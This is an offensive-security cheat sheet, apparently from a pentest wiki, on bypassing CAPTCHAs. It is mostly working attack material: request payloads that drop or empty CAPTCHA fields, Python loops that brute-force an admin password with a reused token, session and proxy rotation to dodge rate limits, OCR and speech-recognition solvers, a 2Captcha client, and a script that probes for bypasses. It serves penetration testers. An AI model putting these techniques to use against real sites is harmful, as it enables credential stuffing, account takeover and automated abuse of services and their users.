Skip to content

CAPTCHA Bypass

Bypass CAPTCHAs via parameter omission, value reuse, OCR automation, or third-party solving services.

Quick Test

# Remove parameter entirely
POST /login HTTP/1.1
username=admin&password=test

# Or send empty
captcha=
captcha[]=
g-recaptcha-response=

Attack Vectors

1. Parameter Manipulation

Omit CAPTCHA parameter:

# Original
POST /login
username=admin&password=test&captcha=abc123&captcha_id=xyz

# Bypass - remove captcha params
POST /login
username=admin&password=test

Empty/invalid values:

captcha=
captcha[]=
captcha=null
captcha=undefined
captcha=0
captcha=false
g-recaptcha-response=
h-captcha-response=

2. Value Reuse

Session reuse:

session = requests.Session()
captcha = solve_captcha()
for password in wordlist:
    resp = session.post('/login', data={
        'user': 'admin',
        'pass': password,
        'captcha': captcha  # Same token reused
    })

Cross-session reuse:

# Token from session A may work in session B
# if not properly bound to session

3. Source Code Inspection

Extract value from HTML:

import re
html = requests.get('/login').text
# Math CAPTCHA answer sometimes embedded
captcha = re.search(r'name="captcha_answer" value="(\d+)"', html)

Cookie analysis:

cookies = session.cookies.get_dict()
if 'captcha_value' in cookies:
    answer = base64.b64decode(cookies['captcha_value'])

4. HTTP Method Switching

# POST with CAPTCHA
POST /contact
message=test&captcha=required

# Try GET (may bypass validation)
GET /contact?message=test

5. Rate Limit Exploitation

Session rotation:

for attempt in range(1000):
    session = requests.Session()  # New session per attempt
    # CAPTCHA only triggers after N failures per session
    try_login(session, 'admin', passwords[attempt])

IP rotation:

proxies = ['proxy1:8080', 'proxy2:8080', ...]
for i, password in enumerate(wordlist):
    proxy = proxies[i % len(proxies)]
    try_login(password, proxy=proxy)

6. Math CAPTCHA Automation

import re

def solve_math_captcha(html):
    match = re.search(r'What is (\d+) ([+\-*/]) (\d+)', html)
    if match:
        a, op, b = int(match[1]), match[2], int(match[3])
        ops = {'+': lambda x,y: x+y, '-': lambda x,y: x-y,
               '*': lambda x,y: x*y, '/': lambda x,y: x//y}
        return ops[op](a, b)

7. Image CAPTCHA Analysis

Limited image set (hash matching):

import hashlib

known = {
    'abc123hash': 'XY7K',
    'def456hash': 'M9PQ',
}

def solve(image_bytes):
    h = hashlib.md5(image_bytes).hexdigest()
    return known.get(h, None)

OCR attack:

import pytesseract
from PIL import Image

def ocr_solve(image_path):
    img = Image.open(image_path)
    text = pytesseract.image_to_string(img, config='--psm 7')
    return text.strip()

8. Audio CAPTCHA

import speech_recognition as sr

def solve_audio(audio_file):
    r = sr.Recognizer()
    with sr.AudioFile(audio_file) as source:
        audio = r.record(source)
    return r.recognize_google(audio)

9. Third-Party Services

2Captcha API:

import requests

def solve_recaptcha(site_key, page_url):
    resp = requests.post('http://2captcha.com/in.php', data={
        'key': API_KEY,
        'method': 'userrecaptcha',
        'googlekey': site_key,
        'pageurl': page_url
    })
    task_id = resp.text.split('|')[1]

    import time
    for _ in range(30):
        time.sleep(5)
        result = requests.get(f'http://2captcha.com/res.php?key={API_KEY}&action=get&id={task_id}')
        if 'CAPCHA_NOT_READY' not in result.text:
            return result.text.split('|')[1]

Services: 2Captcha, CapSolver, Anti-Captcha

10. Client-Side Bypass

Disable JavaScript:

# Some sites skip CAPTCHA without JS
session.headers['User-Agent'] = 'curl/7.68.0'

DOM manipulation:

// If validation is client-side only
document.querySelector('form').submit();
document.querySelector('[name="captcha"]').removeAttribute('required');

Quick Test Script

import requests

def test_captcha_bypass(url, form_data):
    tests = [
        {},                    # No captcha param
        {'captcha': ''},       # Empty
        {'captcha[]': ''},     # Array
        {'captcha': 'null'},   # Null string
    ]

    for extra in tests:
        data = {**form_data, **extra}
        resp = requests.post(url, data=data)
        if 'captcha' not in resp.text.lower():
            print(f"Potential bypass: {extra}")

Tools

Tool Purpose
Tesseract OCR Open-source OCR
2Captcha Paid solving service
CapSolver AI CAPTCHA solving
Anti-Captcha Human solving service
Buster Browser extension for audio
SpeechRecognition Python audio-to-text

Checklist

  • Remove CAPTCHA parameter entirely
  • Send empty CAPTCHA value
  • Try array syntax (captcha[]=)
  • Test token reuse across requests
  • Check for CAPTCHA value in HTML/cookies
  • Try HTTP method switching
  • Test rate limit with session/IP rotation
  • Check for client-side only validation
  • Test without JavaScript enabled